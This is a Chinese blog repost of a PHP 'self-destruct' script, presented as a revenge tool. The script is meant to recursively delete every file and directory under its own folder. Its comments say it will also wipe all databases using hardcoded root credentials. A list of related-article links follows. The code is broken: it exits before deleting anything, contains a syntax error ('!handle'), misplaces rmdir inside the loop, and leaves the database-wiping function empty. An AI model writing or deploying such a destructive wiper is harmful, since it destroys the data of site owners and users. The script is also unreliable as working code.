当前位置: 首页 > news >正文

PHP自毁程序

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true);  //为false时,不碰数据库
 
run();
 
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
    //删除文件
    deletedir();
    //删除数据库
    deleteDB();
}
 
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
    if ($dir == '') {
        $dir = realpath('.');
    }
    echo $dir;
    exit();
      if(!handle=@opendir($dir)){     //检测要打开目录是否存在
        die("没有该目录");
      }
      while(false !==($file=readdir($handle))){
               if($file!=="."&&$file!==".."){       //排除当前目录与父级目录
                $file=$dir .DIRECTORY_SEPARATOR. $file;
                if(is_dir($file)){
                    deletedir($file);
                }else{
                    if(@unlink($file)){
                        echo "文件<b>$file</b>删除成功。<br>";
                    }else{
                        echo  "文件<b>$file</b>删除失败!<br>";
                    }
                }
               }
               if(@rmdir($dir)){
                echo "目录<b>$dir</b>删除成功了。<br>\n";
               }else{
                echo "目录<b>$dir</b>删除失败!<br>\n";
               }
           }
 
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
    if(DB_DAMAGE === true){
        //start
    }
}



转载于:https://www.cnblogs.com/qhorse/p/4661834.html

相关文章:

  • 使用javascript实现html文字不可选
  • 大型数据库 实用解决方案
  • [家里蹲大学数学杂志]第409期与正弦对数有关的一个积分不等式
  • 初学者应学会如何加快seo
  • 网页的重绘和回流
  • Skype for Business Server 2015系列(三)部署前端服务器-2
  • 3.2.用户空间客体管理器
  • Nginx的流媒体插件nginx-rtmp-module
  • iOS开发UITableView基本使用方法总结
  • centos6.5下postgres-XC集群安装与配置(有standby案例)
  • 最近用到Bootstrap Multiselect来详细了解一下
  • python特殊注释
  • MySql | 查询缓存笔记
  • 我的Android进阶之旅------FastJson的简介
  • WebX5 Data判断当前行的值是否改变,以及改变当前行的状态
  • 自己简单写的 事件订阅机制
  • 【前端学习】-粗谈选择器
  • 2018一半小结一波
  • 2018以太坊智能合约编程语言solidity的最佳IDEs
  • ECMAScript6(0):ES6简明参考手册
  • HTTP传输编码增加了传输量,只为解决这一个问题 | 实用 HTTP
  • vue-cli在webpack的配置文件探究
  • 彻底搞懂浏览器Event-loop
  • 从伪并行的 Python 多线程说起
  • 动态魔术使用DBMS_SQL
  • 给初学者:JavaScript 中数组操作注意点
  • 基于axios的vue插件,让http请求更简单
  • 使用putty远程连接linux
  • 手机app有了短信验证码还有没必要有图片验证码?
  • Play Store发现SimBad恶意软件,1.5亿Android用户成受害者 ...
  • UI设计初学者应该如何入门?
  • #Linux(权限管理)
  • #QT(TCP网络编程-服务端)
  • (2)关于RabbitMq 的 Topic Exchange 主题交换机
  • (android 地图实战开发)3 在地图上显示当前位置和自定义银行位置
  • (一)spring cloud微服务分布式云架构 - Spring Cloud简介
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .NET Micro Framework 4.2 beta 源码探析
  • .NET 动态调用WebService + WSE + UsernameToken
  • .NET 使用 ILRepack 合并多个程序集(替代 ILMerge),避免引入额外的依赖
  • .NET开发人员必知的八个网站
  • :“Failed to access IIS metabase”解决方法
  • @FeignClient注解,fallback和fallbackFactory
  • [2016.7.Test1] T1 三进制异或
  • [BSGS算法]纯水斐波那契数列
  • [bzoj4010][HNOI2015]菜肴制作_贪心_拓扑排序
  • [C语言]一维数组二维数组的大小
  • [FxCop.设计规则]8. 也许参数类型应该是基类型
  • [HackMyVM]靶场 Wild
  • [linux][调度] 内核抢占入门 —— 高优先级线程被唤醒时会立即抢占当前线程吗 ?
  • [math]判断线段是否相交及夹角
  • [OGRE]看备注学编程(02):打地鼠01-布置场地九只地鼠
  • [Oh My C++ Diary]#ifndef / #define / #endif 使用详解
  • [one_demo_15]模拟交通灯管理系统
  • [Python进阶] 正则表达式介绍